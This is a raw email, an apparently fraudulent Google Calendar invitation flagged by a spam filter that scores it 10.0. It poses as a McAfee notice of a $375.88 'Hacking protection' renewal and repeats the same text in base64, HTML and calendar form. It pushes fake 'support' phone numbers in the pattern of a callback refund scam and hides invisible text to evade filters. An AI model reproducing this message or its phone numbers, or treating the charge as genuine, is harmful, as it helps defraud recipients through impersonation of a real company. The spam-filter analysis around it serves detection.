:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=OUQmiXgYIcNmMtxGmKSYJ7ahWt8BoNhhUrJAHcygJWCLHT5bdAFj6JuyeJ+owm7G4H
F0e8rmd7DqW5HqkGgpHQmbX5//EoNmCX/dCMUuiHG0eTvgBD8+Ix4DrQ68wwY0yGNlnr
EXsV3SWNe5t3rb6kYi97J4wnkAqGgxXsxs6vZftdTLkhiDgJPTlpMG96D/7iAHDMVmK0
h0T66D2bUA+q9VL9eb6DLnIgtQxuyZ2fVq0OhW8oA/STAwMnlEw9cHDeZn+sXjXYmCX0
qTtnQEwTIsuh/vm2V0Wormubmo12QVEzo41AFyfbrbAhc3lpCK4RFLiTRkS3KiSEsV9B
i9ow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558653; x=1764163453;
h=to:from:subject:date:message-id:sender:reply-to:mime-version
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=NZFbeQDDPhZ6Aqn/RVhvfrOEd5afkt4Lceae3bSvKFc3YUqP37aEsal1o0hz0PuNd9
5PDjbmqmIdw/HV+AQxnJpn6CXTzapfXIfJepxw1hLkTj3Tr/iwiss/B665r93wDxYnGL
RtrgahWjFjbgYPqXr5et7FliT/wX8WpX3haTI3pX/hNQ0vR6QpHriJKvRAb2s+J+rlEx
2rPFqBAl/1Qheq+SMXOAwbA3JTqIKcqcPWotMvxKxfh93n7z0wgbqvb30/eHDrnBCC5o
NuKsOHwSxccCtFvLZU+RkC/h4PlPal+oWpItW6nh9xk0fK08tNjo8j30T8LMxAm/lkJY
eBwg==
X-Gm-Message-State: AOJu0Yz3MzQuotO80BBOK4NcbGRzRueNbdGjEP5cNosiLjdJiaF9MoNx
5er9xfaQjkhYOQpdjEp3nWz57o8RhupZBPj9rsl9kEc4Hu6NWJ6rwFuYxGxCi6FnW0036DWMAf0
ZHgfjoEkxKz/ZHVzJVJZlKUZTY1+HVl1yvLrDHPOUPl3SEIIzzwUtiRI6
X-Google-Smtp-Source: AGHT+IGXvor0O8i191wEb/rvyunoJZ6XOC5QH8j86bDDVc5btzxKuw658ixpyErxedyzwOLOHAVryyZQcfsjnUwf5Xi/
MIME-Version: 1.0
X-Received: by 2002:a05:6122:828d:b0:559:f0a2:4ab5 with SMTP id
71dfb90a1353d-55b6f2c9d0dmr798623e0c.11.1763558653542; Wed, 19 Nov 2025
05:24:13 -0800 (PST)
Reply-To: Patrick Spears
Sender: Google Calendar
Message-ID:
Date: Wed, 19 Nov 2025 13:24:13 +0000
Subject: Invitation: Hi, Transaction is confirmed and ready @ Thu Nov 20, 2025
9:23am (HKT) (doctor@nl2k.ab.ca)
From: Patrick Spears
To: doctor@nl2k.ab.ca
Content-Type: multipart/mixed; boundary="00000000000015c89f0643f27f0d"
X-Spam_score: 10.0
X-Spam_score_int: 100
X-Spam_bar: ++++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi, Transaction is confirmed and ready Thursday Nov 20, 2025
â‹… 9:23am Hong Kong Standard Time Transaction date:- Wednesday, 19 November
2025Transaction id:- JHNL61454GL8483Technical Support Number: 1(859) 230-5036Access
confirmed membership secured.Hi,We’d like to notify you of your Prem
[...]
Content analysis details: (10.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.222.74 listed in list.dnswl.org]
0.3 LONGWORD BODY: Uses overlong words
0.6 MEGALONGWORD BODY: Uses really overlong words
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.222.74 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars
2.3 LONG_INVISIBLE_TEXT Long block of hidden text - bayes poison?
Subject: {SPAM?} Invitation: Hi, Transaction is confirmed and ready @ Thu Nov 20, 2025
9:23am (HKT) (doctor@nl2k.ab.ca)
--00000000000015c89f0643f27f0d
Content-Type: multipart/alternative; boundary="00000000000015c89d0643f27f0b"
--00000000000015c89d0643f27f0b
Content-Type: text/plain; charset="UTF-8"; format=flowed; delsp=yes
Content-Transfer-Encoding: base64
SGksIFRyYW5zYWN0aW9uIGlzIGNvbmZpcm1lZCBhbmQgcmVhZHkNClRodXJzZGF5IE5vdiAyMCwg
MjAyNSDii4UgOToyM2FtDQpIb25nIEtvbmcgU3RhbmRhcmQgVGltZQ0KDQoNCg0KVHJhbnNhY3Rp
b24gZGF0ZTotIFdlZG5lc2RheSwgMTkgTm92ZW1iZXIgMjAyNVRyYW5zYWN0aW9uIGlkOi0gIA0K
SkhOTDYxNDU0R0w4NDgzVGVjaG5pY2FsIFN1cHBvcnQgTnVtYmVyOiAxKDg1OSkgIDIzMC01MDM2
QWNjZXNzIGNvbmZpcm1lZCAgDQptZW1iZXJzaGlwIHNlY3VyZWQuSGksV2UmcnNxdW87ZCBsaWtl
IHRvIG5vdGlmeSB5b3Ugb2YgeW91ciBQcmVtaXVtICANCk1lbWJlcnNoaXAgcmVuZXdhbC4gQSBj
aGFyZ2Ugb2YgJDM3NS44OCB3aWxsIGJlIGRlYml0ZWQgZnJvbSB5b3VyIGFjY291bnQgIA0Kc29v
bi5QdXJjaGFzZSBTdW1tYXJ5SXRlbTogSGFja2luZyBwcm90ZWN0aW9uVGVudXJlOiAxIFllYXJB
bW91bnQ6ICQgIA0KMzc1Ljg4UmVnaXN0ZXJlZCBJRDogUjMySjFCRDVNZW1iZXJzaGlwIElEOiAg
DQpmZDNjNGE1Zi0yODFlLTQxNjctYjFlYS0yNmExNzFmYmFkN2RGb3IgYXNzaXN0YW5jZSwgY2Fs
bCArMS0oODU5KSAgIA0KMjIyLTY0ODMuIFRoaXMgaXMgYW4gYXV0b21hdGVkIGVtYWlsIGFuZCBj
YW5ub3QgYWNjZXB0IHJlcGxpZXMuVHJ1bHkgIA0KQXBwcmVjaWF0aXZlLCxNY0FmZWVBY2NvdW50
cyBNYW5hZ2VyOiBXaWxsaWFtIE11cnBoeUNvbnRhY3QgSG91cnM6IDYgQU0gdG8gIA0KNiBQTUNh
bGwgZm9yIEN1c3RvbWVyIFN1cHBvcnQgKzEtKDg1OSkgIDIyMi02NDgzQWRkcmVzczogOThUaCBQ
bGFjZSBCZXRoZWwgIA0KQ3QgNjgwMSBVbml0ZWQgU3RhdGVzQ29weXJpZ2h0ICZjb3B5OzIwMjUg
TWNBZmVlLCBBbGwgcmlnaHRzIHJlc2VydmVkLg0KDQpPcmdhbml6ZXINClBhdHJpY2sgU3BlYXJz
DQpwYXRyaWNrLnNwZTk3MEBzc2toYW1pdG9uLmNmZA0KDQpSZXBseSBmb3IgZG9jdG9yQG5sMmsu
YWIuY2EgYW5kIHZpZXcgbW9yZSBkZXRhaWxzICANCmh0dHBzOi8vY2FsZW5kYXIuZ29vZ2xlLmNv
bS9jYWxlbmRhci9ldmVudD9hY3Rpb249VklFVyZlaWQ9TURaTE5GZHZTRE0yYVZFeU9GTklRVk5Y
WW1sME1ucHViWGdnWkc5amRHOXlRRzVzTW1zdVlXSXVZMkUmdG9rPU1qa2pjR0YwY21samF5NXpj
R1U1TnpCQWMzTnJhR0Z0YVhSdmJpNWpabVF4Wm1FeU56azJNelE1WWpObVpXUm1ZMkU1WXpFMk1U
a3hNV05pTVRVeU5qbGtOVEV5T0ROayZjdHo9QXNpYSUyRkhvbmdfS29uZyZobD1lbiZlcz0wDQpZ
b3VyIGF0dGVuZGFuY2UgaXMgb3B0aW9uYWwuDQoNCn5+Ly9+fg0KSW52aXRhdGlvbiBmcm9tIEdv
b2dsZSBDYWxlbmRhcjogaHR0cHM6Ly9jYWxlbmRhci5nb29nbGUuY29tL2NhbGVuZGFyLw0KDQpZ
b3UgYXJlIHJlY2VpdmluZyB0aGlzIGVtYWlsIGJlY2F1c2UgeW91IGFyZSBhbiBhdHRlbmRlZSBv
biB0aGUgZXZlbnQuDQoNCkZvcndhcmRpbmcgdGhpcyBpbnZpdGF0aW9uIGNvdWxkIGFsbG93IGFu
eSByZWNpcGllbnQgdG8gc2VuZCBhIHJlc3BvbnNlIHRvICANCnRoZSBvcmdhbml6ZXIsIGJlIGFk
ZGVkIHRvIHRoZSBndWVzdCBsaXN0LCBpbnZpdGUgb3RoZXJzIHJlZ2FyZGxlc3Mgb2YgIA0KdGhl
aXIgb3duIGludml0YXRpb24gc3RhdHVzLCBvciBtb2RpZnkgeW91ciBSU1ZQLg0KDQpMZWFybiBt
b3JlIGh0dHBzOi8vc3VwcG9ydC5nb29nbGUuY29tL2NhbGVuZGFyL2Fuc3dlci8zNzEzNSNmb3J3
YXJkaW5nDQo=
--00000000000015c89d0643f27f0b
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
schemas-microsoft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:offi=
ce">
t=3D"text/html; charset=3DUTF-8">
=3Ddevice-width,initial-scale=3D1">
ight dark">
=20
=20
=20
=20
/InformAction">
emtype=3D"http://schema.org/Person">
=3D"Invitation from Patrick Spears"/>
cope itemtype=3D"http://schema.org/Event">
ntent=3D"http://schema.org/EventScheduled"/>
emscope itemtype=3D"http://schema.org/Organization">
content=3D"Google Calendar"/>
ar" content=3D"06K4WoH36iQ28SHASWbit2znmx"/>
ont-size: 1px; color: #fff; line-height: 1px; height: 0; max-height: 0; wid=
th: 0; max-width: 0; opacity: 0; overflow: hidden;" itemprop=3D"name">Hi, T=
ransaction is confirmed and ready
ttps://calendar.google.com/calendar/event?action=3DVIEW&eid=3DMDZLNFdvS=
DM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&tok=3DMjkjcGF0cmljay=
5zcGU5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkN=
TEyODNk&ctz=3DAsia%2FHong_Kong&hl=3Den&es=3D0"/>
en=3D"true">
rder=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" align=
=3D"center" style=3D"width:100%;" class=3D"body-container">
tyle=3D"" class=3D"" align=3D"left">
den=3D"true"> =
n" align=3D"center" style=3D"width:100%;" class=3D"">
=3D"border: solid 1px #dadce0; border-radius: 8px; direction: rtl; font-siz=
e: 0; padding: 24px 32px; text-align: left; vertical-align: top;" class=3D"=
main-container-inner">
style=3D"font-size: 13px; text-align: left; direction: ltr; display: inline=
-block; vertical-align: top; width: 100%;overflow: hidden; word-wrap: break=
-word;">
sentation" width=3D"100%" class=3D"main-column-table-ltr" style=3D"padding-=
right: 32px; padding-left: 0;;table-layout: fixed;">
"main-column-td" style=3D"padding:0; vertical-align:top;">
0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" width=3D"100%"=
style=3D"table-layout: fixed;">
text-align: left; word-break: break-word;;padding-bottom:24px;">
=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; f=
ont-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; te=
xt-decoration: none;" class=3D"primary-text" role=3D"presentation">
>Transaction date:- Wednesday, 19 November 2025
Transaction id:- JHNL614=
54GL8483
Technical Support Number: 1(859) 230-5036
Access confirm=
ed membership secured.
Hi,
We=E2=80=99d like to notify you of y=
our Premium Membership renewal. A charge of $375.88 will be debited from yo=
ur account soon.
Purchase Summary
Item: Hacking protection
T=
enure: 1 Year
Amount: $ 375.88
Registered ID: R32J1BD5
Membership =
ID: fd3c4a5f-281e-4167-b1ea-26a171fbad7d
For assistance, call +1-(859=
) 222-6483. This is an automated email and cannot accept replies.
Tr=
uly Appreciative,,
McAfee
Accounts Manager: William Murphy
Contact=
Hours: 6 AM to 6 PM
Call for Customer Support +1-(859) 222-6483
Add=
ress: 98Th Place Bethel Ct 6801 United States
Copyright =C2=A92025 Mc=
Afee, All rights reserved.
=3D"Transaction date:- Wednesday, 19 November 2025Transaction id:- JHNL6145=
4GL8483Technical Support Number: 1(859) 230-5036Access confirmed membershi=
p secured.Hi,We’d like to notify you of your Premium Membership r=
enewal. A charge of $375.88 will be debited from your account soon.Purchase=
SummaryItem: Hacking protectionTenure: 1 YearAmount: $ 375.88Registered ID=
: R32J1BD5Membership ID: fd3c4a5f-281e-4167-b1ea-26a171fbad7dFor assistance=
, call +1-(859) 222-6483. This is an automated email and cannot accept rep=
lies.Truly Appreciative,,McAfeeAccounts Manager: William MurphyContact Hour=
s: 6 AM to 6 PMCall for Customer Support +1-(859) 222-6483Address: 98Th Pl=
ace Bethel Ct 6801 United StatesCopyright ©2025 McAfee, All rights=
reserved."/>
t-align: left; word-break: break-word;;padding-bottom:24px;">
font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; font-=
size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; text-d=
ecoration: none;" class=3D"primary-text" role=3D"presentation">
idden=3D"true">
ext-align: left; word-break: break-word;;padding-bottom:24px;">
=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; f=
ont-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; te=
xt-decoration: none;" class=3D"primary-text" role=3D"presentation">
order=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" style=
=3D"padding-bottom: 4px;">
size: 14px;color: #3c4043; text-decoration: none;font-weight: 700;-webkit-f=
ont-smoothing: antialiased;margin: 0; padding: 0;">Organizer
=3D"primary-text underline-on-hover" style=3D"display: inline-block;;color:=
#3c4043; text-decoration: none;" href=3D"mailto:patrick.spe970@sskhamiton.=
cfd">Patrick Spears
pe=3D"http://schema.org/Person">
Spears"/>
/>
derline-on-hover" style=3D"display: inline-block;;color: #70757a; text-deco=
ration: none;" href=3D"mailto:patrick.spe970@sskhamiton.cfd">patrick.spe970=
@sskhamiton.cfd
ding: 0; text-align: left; word-break: break-word;;padding-bottom:24px;">
iv style=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight=
: 400; font-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c=
4043; text-decoration: none;" class=3D"primary-text" role=3D"presentation">=
n" style=3D"padding-bottom: 4px;">
=3D"font-size: 14px;color: #3c4043; text-decoration: none;font-weight: 700;=
-webkit-font-smoothing: antialiased;margin: 0; padding: 0;">Guests
>
>
ak: break-word;;padding-bottom:0px;">
oration: none;;font-family: Roboto, sans-serif;font-size: 14px; line-height=
: 20px; mso-line-height-rule: exactly; text-align: left;" class=3D"primary-=
text">
sed;">Reply
ext-decoration: none;"> for
style=3D"display: inline-block;;color: #70757a; text-decoration: none;" hre=
f=3D"mailto:doctor@nl2k.ab.ca">doctor@nl2k.ab.ca
>
ak: break-word;;padding-bottom:16px;">
ns-serif;font-size: 14px; line-height: 20px; mso-line-height-rule: exactly;=
text-align: left;">
role=3D"presentation" style=3D"border-collapse: separate;">
=3D"padding-top: 8px; padding-left: 0; padding-right: 12px;">
entation" style=3D"border: solid 1px #dadce0; border-radius: 16px; border-c=
ollapse: separate;font-family: 'Google Sans', Roboto, sans-serif;;d=
isplay: inline-block;;margin-right: 12px; margin-left: 0;">
"center" vertical-align=3D"middle" role=3D"presentation">
potentialaction" itemscope itemtype=3D"http://schema.org/RsvpAction">
itemprop=3D"attendance" content=3D"http://schema.org/RsvpAttendance/Yes"/><=
span itemprop=3D"handler" itemscope itemtype=3D"http://schema.org/HttpActio=
nHandler">
thod/GET"/>
le.com/calendar/event?action=3DRESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYm=
l0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&rst=3D1&tok=3DMjkjcGF0cmljay5zcGU=
5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyOD=
Nk&ctz=3DAsia%2FHong_Kong&hl=3Den&es=3D0" style=3D"font-weight:=
400;font-family: 'Google Sans', Roboto, sans-serif;color: #5f6368;=
font-size: 14px; line-height: 120%; mso-line-height-rule: exactly; margin:=
0; text-decoration: none; text-transform: none;" class=3D"grey-button-text=
" itemprop=3D"url" target=3D"_blank">
cellspacing=3D"0" role=3D"presentation">
esentation" valign=3D"middle" style=3D"padding: 6px 0; padding-left: 16px; =
padding-right: 12px; white-space: nowrap;">
ss=3D"grey-button-text" style=3D"font-weight: 400;font-family: 'Google =
Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-height:=
120%; mso-line-height-rule: exactly; margin: 0; text-decoration: none; tex=
t-transform: none;">Yes
e>
le" role=3D"presentation" style=3D"border-left: solid 1px #dadce0; border-r=
ight: solid 1px #dadce0;">
type=3D"http://schema.org/RsvpAction">
=3D"http://schema.org/RsvpAttendance/No"/>
ope itemtype=3D"http://schema.org/HttpActionHandler">
od" href=3D"http://schema.org/HttpRequestMethod/GET"/>
#5f6367;">
ESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5sMmsuYWIuY2=
E&rst=3D2&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk=
2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=3DAsia%2FHong_Kong&am=
p;hl=3Den&es=3D0" style=3D"font-weight: 400;font-family: 'Google Sa=
ns', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-height: 1=
20%; mso-line-height-rule: exactly; margin: 0; text-decoration: none; text-=
transform: none;" class=3D"grey-button-text" itemprop=3D"url" target=3D"_bl=
ank">
tation">
yle=3D"padding: 6px 12px; white-space: nowrap;">
n class=3D"grey-button-text" style=3D"font-weight: 400;font-family: 'Go=
ogle Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-he=
ight: 120%; mso-line-height-rule: exactly; margin: 0; text-decoration: none=
; text-transform: none;">No
table>
middle" role=3D"presentation">
itemtype=3D"http://schema.org/RsvpAction">
tent=3D"http://schema.org/RsvpAttendance/Maybe"/>
itemscope itemtype=3D"http://schema.org/HttpActionHandler">
=3D"method" href=3D"http://schema.org/HttpRequestMethod/GET"/>
=3D"color: #5f6367;">
action=3DRESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5s=
MmsuYWIuY2E&rst=3D3&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGFtaXRvbi5jZ=
mQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=3DAsia%2FHo=
ng_Kong&hl=3Den&es=3D0" style=3D"font-weight: 400;font-family: '=
;Google Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line=
-height: 120%; mso-line-height-rule: exactly; margin: 0; text-decoration: n=
one; text-transform: none;" class=3D"grey-button-text" itemprop=3D"url" tar=
get=3D"_blank">
=3D"presentation">
middle" style=3D"padding: 6px 0; padding-left: 12px; padding-right: 16px; w=
hite-space: nowrap;">
" style=3D"font-weight: 400;font-family: 'Google Sans', Roboto, san=
s-serif;color: #5f6368; font-size: 14px; line-height: 120%; mso-line-height=
-rule: exactly; margin: 0; text-decoration: none; text-transform: none;">Ma=
ybe
oogle.com/calendar/event?action=3DVIEW&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYm=
l0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGF=
taXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=
=3DAsia%2FHong_Kong&hl=3Den&es=3D0" style=3D"display: inline-block;=
;font-weight: 400;font-family: 'Google Sans', Roboto, sans-serif;co=
lor: #5f6368; font-size: 14px; line-height: 120%; mso-line-height-rule: exa=
ctly; margin: 0; text-decoration: none; text-transform: none;" class=3D"gre=
y-button-text" target=3D"_blank">
spacing=3D"0" role=3D"presentation" style=3D"border: solid 1px #dadce0; bor=
der-radius: 16px; border-collapse: separate;font-family: 'Google Sans&#=
39;, Roboto, sans-serif;">
" role=3D"presentation" style=3D"padding: 6px 0; padding-left: 16px; paddin=
g-right: 12px; white-space: nowrap;;color: #5f6367;">
xt" style=3D"font-weight: 400;font-family: 'Google Sans', Roboto, s=
ans-serif;color: #5f6368; font-size: 14px; line-height: 120%; mso-line-heig=
ht-rule: exactly; margin: 0; text-decoration: none; text-transform: none;">=
More options
r=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" align=3D"=
center" style=3D"width:100%;" class=3D"">
0; padding: 0; text-align: left; word-break: break-word;;padding:4px 12px;=
" class=3D"" align=3D"left">
70757a; text-decoration: none;font-family: Roboto, sans-serif;font-size: 12=
px; line-height: 16px; mso-line-height-rule: exactly; text-align: left;">
>Invitation from
"accent-text underline-on-hover" style=3D"font-family: Roboto, sans-serif;f=
ont-size: 12px; line-height: 16px; mso-line-height-rule: exactly;;color: #1=
a73e8; text-decoration: none;" target=3D"_blank">Google Calendar
=
You are receiving this email because you are an attendee on the event.
p>Forwarding this invitation could allow any recipient to send a response t=
o the organizer, be added to the guest list, invite others regardless of th=
eir own invitation status, or modify your RSVP.
erline-on-hover" style=3D"font-family: Roboto, sans-serif;font-size: 12px; =
line-height: 16px; mso-line-height-rule: exactly;;color: #1a73e8; text-deco=
ration: none;" href=3D"https://support.google.com/calendar/answer/37135#for=
warding">Learn more
y>
--00000000000015c89d0643f27f0b
Content-Type: text/calendar; charset="UTF-8"; method=REQUEST
Content-Transfer-Encoding: 7bit
BEGIN:VCALENDAR
PRODID:-//Google Inc//Google Calendar 70.9054//EN
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:REQUEST
BEGIN:VTIMEZONE
TZID:Asia/Hong_Kong
X-LIC-LOCATION:Asia/Hong_Kong
BEGIN:STANDARD
TZOFFSETFROM:+0800
TZOFFSETTO:+0800
TZNAME:GMT+8
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
DTSTART;TZID=Asia/Hong_Kong:20251120T092359
DTSTAMP:20251119T132413Z
ORGANIZER;CN=Patrick Spears:mailto:patrick.spe970@sskhamiton.cfd
UID:06K4WoH36iQ28SHASWbit2znmx@google.com
ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=
TRUE;CN=doctor@nl2k.ab.ca;X-NUM-GUESTS=0:mailto:doctor@nl2k.ab.ca
X-MICROSOFT-CDO-OWNERAPPTID:938429941
CREATED:20251119T132403Z
DESCRIPTION:
Transaction date:- Wednesday\, 19 November 2025
Transac
tion id:- JHNL61454GL8483
Technical Support Number: 1(859) 230-5036
p>
Access confirmed membership secured.
Hi\,
We&rsquo\;d like
to notify you of your Premium Membership renewal. A charge of $375.88 will
be debited from your account soon.
Purchase Summary
Item: Hack
ing protection
Tenure: 1 Year
Amount: $ 375.88
Registered ID
: R32J1BD5
Membership ID: fd3c4a5f-281e-4167-b1ea-26a171fbad7d
F
or assistance\, call +1-(859) 222-6483. This is an automated email and can
not accept replies.
Truly Appreciative\,\,
McAfee
Accounts
Manager: William Murphy
Contact Hours: 6 AM to 6 PM
Call for Cust
omer Support +1-(859) 222-6483
Address: 98Th Place Bethel Ct 6801 Uni
ted States
Copyright ©\;2025 McAfee\, All rights reserved.
LAST-MODIFIED:20251119T132406Z
LOCATION:
SEQUENCE:0
STATUS:CONFIRMED
SUMMARY:Hi\, Transaction is confirmed and ready
TRANSP:OPAQUE
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:This is an event reminder
TRIGGER:-P0DT0H10M0S
END:VALARM
END:VEVENT
END:VCALENDAR
--00000000000015c89d0643f27f0b--
--00000000000015c89f0643f27f0d
Content-Type: application/ics; name="invite.ics"
Content-Disposition: attachment; filename="invite.ics"
Content-Transfer-Encoding: base64
QkVHSU46VkNBTEVOREFSDQpQUk9ESUQ6LS8vR29vZ2xlIEluYy8vR29vZ2xlIENhbGVuZGFyIDcw
LjkwNTQvL0VODQpWRVJTSU9OOjIuMA0KQ0FMU0NBTEU6R1JFR09SSUFODQpNRVRIT0Q6UkVRVUVT
VA0KQkVHSU46VlRJTUVaT05FDQpUWklEOkFzaWEvSG9uZ19Lb25nDQpYLUxJQy1MT0NBVElPTjpB
c2lhL0hvbmdfS29uZw0KQkVHSU46U1RBTkRBUkQNClRaT0ZGU0VURlJPTTorMDgwMA0KVFpPRkZT
RVRUTzorMDgwMA0KVFpOQU1FOkdNVCs4DQpEVFNUQVJUOjE5NzAwMTAxVDAwMDAwMA0KRU5EOlNU
QU5EQVJEDQpFTkQ6VlRJTUVaT05FDQpCRUdJTjpWRVZFTlQNCkRUU1RBUlQ7VFpJRD1Bc2lhL0hv
bmdfS29uZzoyMDI1MTEyMFQwOTIzNTkNCkRUU1RBTVA6MjAyNTExMTlUMTMyNDEzWg0KT1JHQU5J
WkVSO0NOPVBhdHJpY2sgU3BlYXJzOm1haWx0bzpwYXRyaWNrLnNwZTk3MEBzc2toYW1pdG9uLmNm
ZA0KVUlEOjA2SzRXb0gzNmlRMjhTSEFTV2JpdDJ6bm14QGdvb2dsZS5jb20NCkFUVEVOREVFO0NV
VFlQRT1JTkRJVklEVUFMO1JPTEU9UkVRLVBBUlRJQ0lQQU5UO1BBUlRTVEFUPU5FRURTLUFDVElP
TjtSU1ZQPQ0KIFRSVUU7Q049ZG9jdG9yQG5sMmsuYWIuY2E7WC1OVU0tR1VFU1RTPTA6bWFpbHRv
OmRvY3RvckBubDJrLmFiLmNhDQpYLU1JQ1JPU09GVC1DRE8tT1dORVJBUFBUSUQ6OTM4NDI5OTQx
DQpDUkVBVEVEOjIwMjUxMTE5VDEzMjQwM1oNCkRFU0NSSVBUSU9OOjxwPlRyYW5zYWN0aW9uIGRh
dGU6LSBXZWRuZXNkYXlcLCAxOSBOb3ZlbWJlciAyMDI1PGJyIC8+VHJhbnNhYw0KIHRpb24gaWQ6
LSBKSE5MNjE0NTRHTDg0ODM8YnIgLz5UZWNobmljYWwgU3VwcG9ydCBOdW1iZXI6IDEoODU5KSAg
MjMwLTUwMzY8Lw0KIHA+PHA+QWNjZXNzIGNvbmZpcm1lZCBtZW1iZXJzaGlwIHNlY3VyZWQuPC9w
PjxwPkhpXCw8L3A+PHA+V2UmcnNxdW9cO2QgbGlrZQ0KICB0byBub3RpZnkgeW91IG9mIHlvdXIg
UHJlbWl1bSBNZW1iZXJzaGlwIHJlbmV3YWwuIEEgY2hhcmdlIG9mICQzNzUuODggd2lsbA0KICBi
ZSBkZWJpdGVkIGZyb20geW91ciBhY2NvdW50IHNvb24uPC9wPjxwPlB1cmNoYXNlIFN1bW1hcnk8
L3A+PHA+SXRlbTogSGFjaw0KIGluZyBwcm90ZWN0aW9uPGJyIC8+VGVudXJlOiAxIFllYXI8YnIg
Lz5BbW91bnQ6ICQgMzc1Ljg4PGJyIC8+UmVnaXN0ZXJlZCBJRA0KIDogUjMySjFCRDU8YnIgLz5N
ZW1iZXJzaGlwIElEOiBmZDNjNGE1Zi0yODFlLTQxNjctYjFlYS0yNmExNzFmYmFkN2Q8L3A+PHA+
Rg0KIG9yIGFzc2lzdGFuY2VcLCBjYWxsICsxLSg4NTkpICAyMjItNjQ4My4gVGhpcyBpcyBhbiBh
dXRvbWF0ZWQgZW1haWwgYW5kIGNhbg0KIG5vdCBhY2NlcHQgcmVwbGllcy48L3A+PHA+VHJ1bHkg
QXBwcmVjaWF0aXZlXCxcLDxiciAvPk1jQWZlZTxiciAvPkFjY291bnRzIA0KIE1hbmFnZXI6IFdp
